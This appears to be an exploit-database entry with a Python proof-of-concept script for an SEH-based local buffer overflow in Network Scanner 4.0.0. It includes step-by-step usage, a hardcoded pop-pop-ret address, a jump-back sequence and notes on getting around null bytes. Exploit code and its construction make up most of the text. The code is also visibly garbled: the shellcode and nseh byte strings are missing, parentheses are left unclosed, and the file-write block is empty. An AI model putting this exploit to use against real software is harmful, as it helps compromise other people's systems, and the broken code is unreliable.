Network Scanner 4.0.0 - SEH Local Buffer Overflow

ID: 88533
CVE: None
Download vulnerable application: Download
# -*- coding: utf-8 -*-

### Network Scanner Version - SEH Overflow Exploit by n30m1nd ### 

# Date: 2016-10-21
# Exploit Author: n30m1nd
# Exploit Title: Network Scanner Version SEH Based Exploit
# Vendor Homepage:
# Software Link:
# Version:
# Tested on: Win7 64bit and Win10 64 bit

# Credits
# =======
# PoC by: INSECT.B -
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better

# How to
# ======
# * Run this python script. It will generate an "exploit.txt" file.
# * Copy the contents and, in the program, go to the "TOOLS" tab then click on "Detect IP from hostname" and paste the contents
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time

# Exploit code
# ============

import struct

# MessageBoxA in NetScan.exe => 004042F1
mbox =	(
# JUMP BACK to our shellcode! 
nseh =	(
        # xor al,51h; 	Sets the ZF = 0 (We have to be very unlucky for eax to end in 51h)
        # jne -32h; 	Jump if ZF = 0
# pop pop ret => 00402E67
sehh = struct.pack("<L", 0x00402e67)

payl = "A" * (76-48)
payl+= mbox
payl+= "A"*(48-len(mbox))
payl+= nseh + sehh

with open("exploit.txt","wb") as f:
print payl

The original author of this PoC stated that it was not possible to be 
exploited since all addresses inside the binary contain the null byte.
As you can see in this exploit, the null byte is added by default at
the end because strings are null terminated when read from an input 
box. This is why we write the payload minus 1 byte, payl[:-1], because
we don't need to write the last null byte for the "pop pop ret" jump
in the "sehh" variable.
1-4-2 (www01)